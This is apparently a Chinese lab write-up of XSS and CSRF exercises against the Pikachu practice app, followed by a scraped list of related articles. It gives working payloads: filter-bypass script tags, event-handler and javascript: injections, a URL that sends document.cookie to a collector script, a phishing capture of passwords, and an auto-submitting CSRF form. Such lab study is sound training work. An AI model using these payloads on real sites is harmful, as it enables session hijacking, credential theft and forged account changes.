Xss一般是脚本代码,主要是JS的,但是也有AS和VBS的。

主要分为反射型,存储型,DOM型三个大类。

一般来讲在手工测试的时候先要考虑的地方就是哪里有输入那里有输出。

然后是进行敏感字符测试,通常来讲会把  < > " ' ( ) &?这样的敏感字符进行测试然后查看服务器有没有防御或者转义措施。

还与就是几个HTML标签的插入和一些不闭合标签的插入。看一看过滤和是否被HTML编码了。然后还可以看看不闭合是否过滤。

然后就是测试js代码

<script> alert(123) </script>

同理prompt啊confirm啊或者是script 内部src 一下测试一下。然后就是测试Script的大小写修改看一看是否能够绕过。

然后看

<scr<script>ipt>alert(123)</scr</script>ipt>这样的套娃游戏绕过一次过滤看看

还有重点就是<a href 的过滤。看一看数据和标签谁被过滤了。

如果数据没过滤就往里面href =" javascript:alert(123)">TEST</a>一下是否可以JS

如果被过滤了JS字符的话那就试试大小写绕过一下。

然后如果可以绕过那么就测试一下事件,看看会不会被过滤。

事件被过滤就看看是黑名还是白名,测试一些边缘的EVENT比如onclimbatree等等一般人不会拿来用的事件。如果没有被过滤证明是黑名单,那就可以选择一些其他事件。还有非常多的可以测试和绕过的地方,不过本身就是一个攻防之间的事情。。。策略上是非常大的所以写不完了。

XSS可以拿来干很多事情。常见的是偷Cookie 改内容,挂马 重定向 蠕虫

首先是反射性XSS试验攻击盗取cookies

尝试构造了函数进行cookies获取

然后获取成功,生成的盗取COOKIES的URL是172.22.19.240/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F172.22.19.240%2Fpikachu%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit

反射性xss post

试了一下没有限制输入

修改了服务器的post.html文件,然后通过让对方访问我的http://172.22.19.240/pikachu/pkxss/xcookie/post.html就可以了

存储型xss

插一下看一看能不能插入js代码

弹窗成功

尝试使用钓鱼

插入js代码

输入密码后信息转给172.22.38.205\pikachu\pkxss\xfish\xfish.php发送给后台数据库

这板子应该是得重装才能第二次用了。

DOM型XSS

先测试一下有没有输入妨碍,发现

找得到,在这个位置。发现标签闭合问题。直接选择“>闭合前面的标签。然后可以后面再插入一个鼠标扫过触发'><img src="33" onmouseover="alert(222)">

但是在抓包过程中发现GET是没有发送参数的。

然后是DOM XSS x的

发现这个地方是进行传参的,就是说可以把这个URL发送给其他人让他们点击来执行代码'> <imgsrc="231" onmouseover=alert("222")>

发现能利用这个URL来使对方触发http://172.22.38.205/pikachu/vul/xss/xss_dom_x.php?text=%27%3E+%3Cimgsrc%3D%22231%22+onmouseover%3Dalert%28%22222%22%29%3E

盲打

首先尝试定位,发现搜不到,无法得到位置那就尝试直接闭合写

也没找到。。。进入后台发现

发现什么都没有。。。直接插入JS代码就可以了

XSS过滤

还是先定位+测试字符过滤

开始测试JS代码

<script>alert(1)</script>

全没了。套娃也不成,应该是过滤了<script那就看看几次过滤<scri<scriptpt>alert(1)</scr</scriptipt>

但是结果依然。套娃失败。但是发现是个垃圾过滤。直接<ScRiPt>alert(1)</ScRiPt>大小写玩法就给绕过了

看样子不是什么好过滤,那<a herf之类的估计也可以。

xss的HTML特殊字符

直接注

<ScRiPt>alert(1)</ScRiPt>

查看了一下

插了一下JS。直接成功

不过看了一下,貌似输入的字符很多都被转了。但是EVENT应该是可以触发的。

xss之href输出

因为提示是这个href输出,所以猜测一下里面是<a href

发现“被过滤了。。&quot;'<>??&?/

那就是直接插入JS了javascript:alert(123)

依然可以

xss之js输出

依然是瞎写入AAAAAAAAAAAAAa<>'"?%&

然后定位了

发现在这个位置貌似也没过滤

先试着闭合一下然后注释后面

'</script><script>alert(123)</script> --

可以。

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

CSRF

CSRF(get)

那就先抓包看看GET发送的到底是个什么URL

GET /pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=yuanziyin&phonenum=110&add=earth&email=yingyingying&submit=submit这个是传递的URL。发现在参数内貌似没有账号相关。

那就直接URL构成172.22.38.205//pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=yuanziyin&phonenum=110&add=earth&email=yingyingying&submit=submit点就完事了

CSRF之post

这个也是一样构成一个POST文件123.html就可以了。。

构成了一个用来post的HTML文件直接访问http://172.22.38.205/pikachu/123.html

123.html

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://172.22.38.205/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
    <input id="sex" type="text" name="sex" value="yuanziyin" />
    <input id="phonenum" type="text" name="phonenum" value="110" />
    <input id="add" type="text" name="add" value="nvzhuang" />
    <input id="email" type="text" name="email" value="zainance" />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

然后就

CSRF 之TOKEN防御

TOKEN防御的问题就在于TOKEN够不够难

首先测试了一下是GET的方式。

不过这个难度比较大。。因为CSRF的TOKEN更新机制有关,比较麻烦,防范策略比较多,1分钟刷新一次或者一个网页一个TOKEN这种基本打不了。

但是实际上还有的TOKEN是不变或者是每次登入到登出都不变的就可以恶心恶心他了。可以打组合拳。XSS+CSRF有概率成功。这个还是不太好的策略,不过打比较弱的是可以的。

web安全技术--XSS和CSRF的更多相关文章

  1. WEB安全----XSS和CSRF

    随着Web2.0.社交网络.微博等等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广泛,企业信息化的过程中各种应用都架设在Web平台上,Web业务的迅速发展也引起黑客们的强烈关注,接踵 ...

  2. WEB安全 - XSS,CSRF

    1. CSRF参考 https://www.ibm.com/developerworks/cn/web/1102_niugang_csrf/ https://en.wikipedia.org/wiki ...

  3. Web安全XSS、CSRF和SQL注入

    SQL注入 SQL注入是以用户的输入作为sql语句的一部分,如后端接收到用户的请求数据后,不经过数据转义,就把数据拼接到SQL中执行,容易导致SQL的语义被篡改,即受到攻击了. 解决办法是对接收的数据 ...

  4. 程序员常用的3大Web安全漏洞防御解决方案:XSS、CSRF及SQL注入(图文详解)

    https://blog.csdn.net/ChenRui_yz/article/details/86489067 随着互联网的普及,网络安全变得越来越重要,程序员需要掌握最基本的web安全防范,下面 ...

  5. web 安全 & web 攻防: XSS(跨站脚本攻击)和 CSRF(跨站请求伪造)

    web 安全 & web 攻防: XSS(跨站脚本攻击)和 CSRF(跨站请求伪造) XSS(跨站脚本攻击)和CSRF(跨站请求伪造) Cross-site Scripting (XSS) h ...

  6. web安全之XSS和CSRF

    XSS 跨站脚本攻击(cross site script),本来缩写CSS单位了和层叠样式(Cascading Style Sheet,CSS)有所区别,所以在安全领域叫做“XSS”. XSS攻击,通 ...

  7. 漏洞科普:对于XSS和CSRF你究竟了解多少

    转自:http://www.freebuf.com/articles/web/39234.html 随着Web2.0.社交网络.微博等等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广 ...

  8. XSS 和 CSRF 攻击

    web安全中有很多种攻击手段,除了SQL注入外,比较常见的还有 XSS 和 CSRF等 一.XSS(Cross Site Scripting)跨站脚本 XSS其实就是Html的注入问题,攻击者的输入没 ...

  9. Web安全XSS

    Web安全XSS 简单的反射型XSS钓鱼演示 </form> <script> function hack(){ XSSImage=new Image; XSSImage.sr ...

随机推荐

  1. ARTS-S docker安装miniconda

    FROM centos:centos7.3.1611 MAINTAINER zhouyang3 <aaa@qq.com> WORKDIR /usr/local ADD ./ /usr/lo ...

  2. 笔记||Python3之字符串

    字符串是Python中最常用的数据类型.我们可以使用引号('或''或''')来创建字符串. 三引号特点:可以多行,也可以多行注释. a = 'hello world' a = "hello ...

  3. Swing JTable使用

    package cn.ychx; import java.awt.Dimension; import java.awt.Toolkit; import java.sql.Connection; imp ...

  4. Mysql数据库优化一:集群(读写分离)之主从服务器的安装与配置

    Mysql数据库的集群(读写分离),说白了就是将读操作和写操作分开在不同的服务器上实现,以达到提高效率的目的. 大致原理如下: 数据库中的所有操作都是有日志记录的(前提是要打开这个日志记录功能) 1. ...

  5. Linux三剑客之sed流编辑器

    一.功能说明 Sed是Stream Editor(流编辑器)缩写,是操作.过滤和转换文本内容的强大工具.常用功能有增删改查,过滤,取行. 二.语法格式 Usage: sed [options] [se ...

  6. 廉价OpenVZ的VPS如何在solusvm下保证永不死

    行业里面有openvz架构的其实是一个不错的架构,资源的利用效率挺高的,当然也有一些限制,同时也带来一些缺点,其中最大的缺点莫过于超售了,卖1G的RAM可能连128都没有,这样的直接后果就是某些不良玩 ...

  7. NodeJS4-6静态资源服务器实战_range范围请求

    range范围请求:向服务器发起请求可以申明我想请求判断内容的范围,从多少个字节到多少个字节,一次要求把所有的内容拿回来,服务器在得到相应的请求之后,从拿到对应的文件,拿到对应的字节返回给客户端.要实 ...

  8. HTML语法简要总结

    HTML基本语法 认识网页 网页主要由文字.图像和超链接等元素构成.当然,除了这些元素,网页中还可以包含音频.视频以及Flash等. 常见浏览器内核介绍 浏览器是网页运行的平台,常用的浏览器有IE.火 ...

  9. 常用数据结构之ArrayList

    前言 ArrayList想必是广大Java程序员开发时最常用的数据结构了,但不一定对其原理都有了解,今天我将结合ArrayList的源码对其进行讲解.本文将围绕ArrayList主要特性(包括适用场景 ...

  10. CVPR 2019轨迹预测竞赛冠军方法总结

    背景 CVPR 2019 是机器视觉方向最重要的学术会议,本届大会共吸引了来自全世界各地共计 5160 篇论文,共接收 1294 篇论文,投稿数量和接受数量都创下了历史新高,其中与自动驾驶相关的论文. ...